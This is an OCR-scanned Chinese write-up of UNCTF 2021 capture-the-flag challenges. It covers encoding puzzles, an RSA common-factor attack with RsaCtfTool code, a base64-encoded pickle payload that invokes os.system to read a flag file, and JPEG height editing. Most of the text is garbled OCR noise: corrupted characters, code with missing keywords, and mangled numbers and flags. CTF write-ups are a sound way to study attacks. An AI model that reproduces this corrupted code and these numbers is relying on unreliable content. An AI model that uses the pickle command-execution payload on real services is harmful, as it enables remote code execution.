EHERIATIRE M Voml. M. M mTbat M iR

554e4354467b546831735f31735f663161675f6630725f756e6374665f3230323121217d

EmERLESEE: ¢ FWm Comss O omo O i O ofnox,
UNCTF{Thls_1s flag_for_unctf_202111}

B 5 e B .S {E A FEe T i a . AHE

PR ep i 23R

HRAE AR B R K K U 64 6L 2 INTE LAl T XUEFHAZZF T T it
FEW YRS base64. M 25D N 2 M

fif#15 tiflag

AZSLh200ofBABC2qz125mg2KsYqW7iC5dDqoaBLKsDBWyi252
ROT13 Q mu aq g q q Y

Rotate lower case Rotate upper case
V| o

v I:l Rotate numbers

chars chars

Amount

47

From Basef4 O n

Alphabet
A-7a-zB-9+/=

Remove non-alphabet chars

Qutput

o ] gl i |
= =
(ole

. . ST [ [=.
UCFshbc 1et_1nl-maoa(giH%Jer(ﬁ-'_ahﬂgahrrkwﬁ} ot



BRAL A &, dbhldEdR WM BT
fCrypto rlmage rUnZip |
LG P E AW A E AL (A A F AR 36)

UCFsbciet_inwnaoagNT {usrb_oXagadmwn}

3 A8 (AT HERa) .
234691218

F142: UFbitiwaaN{sboaamnCsce_nnogTur_Xgdw}
F242: Usi_woNubXawCbeinaTs_adnFctnag {rogm}
#342: Ubtwa{bamCc_ngu_gwFiiaNsoansenoTrXd}
F442: UiwNbaCenT_dFta{oms_ouXwbiasancngrg}
F542: U_NXCiTaFn{gswuabnsdcarmiobwea_ntgo}
F642: UwbCn_FaosoXbaacggiNaeTdt {m_uwisnnr}
FT4L: '.INGTF {subscribe_to_Xiangwandamowang]

4} ¥rbadusbifi &

HReaRE, ERRERSE, HE20%RCaps Lock, 2DA-

5 Hiflag
2018 U
2011 M
2006 C
2017 T
2009 F
202f {
201C Y
27 )
18 U
0ozD -
2004 A
15 r
g e
0ozD -
19 v
8 e
15 r
goic y
002D -
11 n
001E 1
g C
8
2030 1
baby_rsa

BHin. c. e, TWESMEN, EHEKMHEART], HLL, EHyafutbxELlormg.

HEEE

C m*p+n,e,n



WA UARMER A HEE Tn, cHMnREI-F LK.

RsaCtfToolH & —/NE i FiEfF & X FriE il (attacks/single_key/comfact_cn.py)

2
3
A
5
5]
7
8
9
a
1l
2
3
&
5
(5]
T
B8
9
o£1]
Pl
P2
I3
£
&
£
k7
I8

Goe e o

WhHSWDom-=ow e

BEGZCEE, I\ printE Hp. g.

AbstractAttack
ged
s2n
PrivateKey
timeout, TimeoutError

(AbstractAttack):

( , timeout=60}:
r().__init__(timeout)
.speed = AbstractAttack.speed_enum[ "medium"]

( , cipher, publickey):
c cipher:
commonfactor = ged(publickey.n, s2n(c))

commonfactor -
publickey.q = commonfactor
publickey.p = publickey.n // puhlﬁckey.q
priv_key = PrivateKey(
int(publickey.p),
int(publickey.q),
int(publickey.e),
int(publickey.n),

(priv_key,

.timeout):
.comfact(cipher, publickey)
TimeoutError:

timeout(

( , cipher, publickey):
C cipher:
commonfactor = gcd(publickey.n, s2n(c))

commonfactor :
publickey.q = commonfactor
publickey.p = publickey.n // publickey.q
priv_key = PrivateKey(
int(publickey.p),
int(publickey.q),
int(publickey.e),
int(publickey.n),

(priv_key,



python3 RsaCtfTool.py -n
270231805675331766736258760017337652504390088884966774053726136593879694805004008317993384794045337
34632060401129194207025095826786316107611502577395964365591899893794206238112244571942694 1299597172
251685730599875424364677784263129678324315951785587112580279998979749420463985833974452998613382038
604207215854606761380918280322231534257280236568978801667888119695235260912215202930201065305874536
376003495334276415184737886204308661283319624503257672024178244558861167602802397057542229483871721
023535646573402162298913421249719484587243513385976498213104313974267057012757740395880357765733734
17654649168810548916141 -e 65537 --uncipher
348959965752740389385197355329468460850414053255456229402772221859746466984860833766399711580520102
734009273382301966170687254423120952377284549239849267718566021396311814466803818392497037048147614
122160970620806442856073221436146913521205735534282519359897177555183324069939348283942227348079324
484153112664219920274461065615315554541585941036159556419768565513307458211823099351913393553331336
423366833742760841952843010279405226119093067093365728727245258124893489002940955923450762601242325
543069968703880865832717460966087474854018558926380044765024259322418997605873905417436002453659438
4447518687126891675059 --attack comfact_cn

A 2P, q

exp:



import gmpy2
import libnum
p 172354431397569365235099940061240370179571511681575675321648499739796116446233541721882395678777138404141799
9536247752917836303499415661220514509357832814595774956403989521367948931534611513249064259252276265640765113984
©7033394090665671220128353422755276355843263880135558428330412452780330015120344362264389
q 156788429217690959122136432372486283891491745151976911418112237000098044411796015284913623304364677330939833
9726490089234157955220062389346494832157319588311885693370230432123233285497796984235895155610476969999301060256
32087793044346255664351188784333635105774664450468975420458744197916840094961189742909769
e 65537
C 348959965752740389385197355329468460850414053255456229402772221859746466984860833766399711580520102734009273
3823019661706872544231209523772845492398492677185660213963118144668038183924970370481476141221609706208064428560
7322143614691352120573553428251935989717755518332406993934828394222734807932448415311266421992027446106561531555
4541585941036159556419768565513307458211823099351913393553331336423366833742760841952843010279405226119093067093
3657287272452581248934890029409559234507626012423255430699687038808658327174609660874748540185589263800447650242)
593224189976058739054174360024536594384447518687126891675059

p"q
fn=(p-1) " (q-1)

gmpy2.invert(e, fn)

gmpy2.powmod(c, d, n)
(h//q)[2:]
print (m)

MREERHERER, TERXA#P. qo

fi# tiflag
756e637466707273615f73316d7031655f306b6b7d
FHEREESER: T C g Ol
unctf{rsa_simple_0Okk}

F3. {5 VE 3 pro

ZRI5 #4&:SW)2Ti%Sj 1eUUIKTWIS])1S"a8S0)6x-8(x7=HROT47, s }64, 1 T AHM Hflag

5. #4%;SW) 2Ti%*S1eUUSkTWi*S§) 15" 2850) 6x-8(x7=
ROTAT

Amount

64

Qutput

unctf{5Yir6Ke j5EaaT7yHEVE] St LgsHEASp vZmkhz )



Misc
s HEHE T
B H L pt A base6d

STAKcDAKMFMnY2FOIC9DVEY/WW91U2hvdUppdVhpbmcnCnAxCjAoZzAKbHAYCjA0STAKAHAZCjA0ZzMKS TAKZHAOC|Bjb
3MKc3IzdGVtCnA1CjBnNQooZzEKdFlu

fi# H/CTF?YouShoudiuXing B /&flag

I0

o0

05" cat /CIF?YouShouJiuXing’
pl
0(g0
1p2
0(I0
tp3
0(g3
10

dp4
Ocos
system
135}

Oza

(gl
tR.

{5 VE O
gilm”roVibdVbXUU h

LRKEBIASCIRG N4, 265, KikKHE, ERflag

@ ASCIFSEHARE - X

FH T SASCINBHE ! ZintEf!

iGN T BB R A TASCITR

1iv, 110, 98, 116, 102, 123, 121, 87, 117, 111, 114, 101, 11
4, 106, 103, 104, 116, 126

S\ mSITS, U TESET! FERAMES,
E;ggémﬁﬁgﬁfﬁ’ R, TEAINES

unctf {yvauoreright

i (v

http: #//bleg. =ina. com. en/xuconglil939
AR {REE009. 10, 125=00-=350909575

5l K, happy

010 EditoriTJF, BEAMM A, REFE, KIEHLEEE T —#







Name
struct APPO appO[1]
struct DQT dqt[0]
struct DQT dqt[1]

~ struct SOFx sof0
enum M _ID marker
WORD szSection
ubyte precision
WORD Y_image
WORD X_image
ubyte nr_comp
struct COMPS compl[3]

& —x M JdLarna

15 Hlag

M_SOFO0 (FFCOh)
17

8

1920

1067

3

CSDN @weixin_46356548

Start Color
7Ch Fg: Bg:|:|
8Eh Fg: Bg:.
D3h Fg: Bg:.
118h Fg:  Bg{ |
118h 2h Fg: Bg] |
11Ah 2h Fg:  Bg{ |
11Ch 1h Fg:  Bg{ |
11Dh 2h Fg:  Bg{ |
11Fh 2h Fg:  Bg{ |
121h 1h Fg:  Bg{ |
(RDN @wiixin_4636 @4@

4l 24 L .




1832 %k 3k
W RAGHER], KMEEI0109, KR IAFAERIE Kjpg 3k

Output

Executing temp 0f i W010 Templates
- chunk[9]: 1 a 45 ; : fcaffeSc
chunk[10]: i at : cc9%cdfc
chunk[11]: i = ca%cdc

chunk[12]:
chunk[13]:
chunk[14]:
chunk[15]:
chunk

o R MBI



a=f.read

i

c+=a[i:i+2

f.write(c.encode

HHNE2010, BE XL AFF D8 FF, BEIEA

% Pbase64

"5L2bSpel77yasLi
KSL+x5pWF44CCEY G
g5a5n5a+G67g450C
v6Zmk5aSas55qk5a2
VEICo541N5qK15Zy
wekuz6eJaps3L6ES6m
257y96ICBEKuUzZ5L1
N500z55qk6ICF5ru
FS72wELy457y96Z1
/SLEESruFsgKi15as
15L6E5LiN5Yal5ZC
J55yf5qK15rKZ57y
95bgmSY2z57y967q
450Cv5p105L6ESY1
H5L6E55+1576GQ57y
WSY2X5ZGEBETI1NSZK
S5aWisL2b5raF5Zzo
G5aeq56We5a+G5pl
05Z0GEYCd5a6ks5 2y
wS0GQ5Yal5ZG850C
v5L2b5Zad5Z0G5Ly
96Y0950CvEYGUEKU
z5YCS557y95b1d5Ya
15bid6Ly45puwsKu
z6bg85L+x50Ck5L+
X6IumSL+x5r0iCg=

="k2$78D1GpsEy. .

fEER R EE Y

A : LiBfr- BAEREREERERRMERERSEF 1 BES NS EREE(ET ES R EAS R ERETE M EIFE RER
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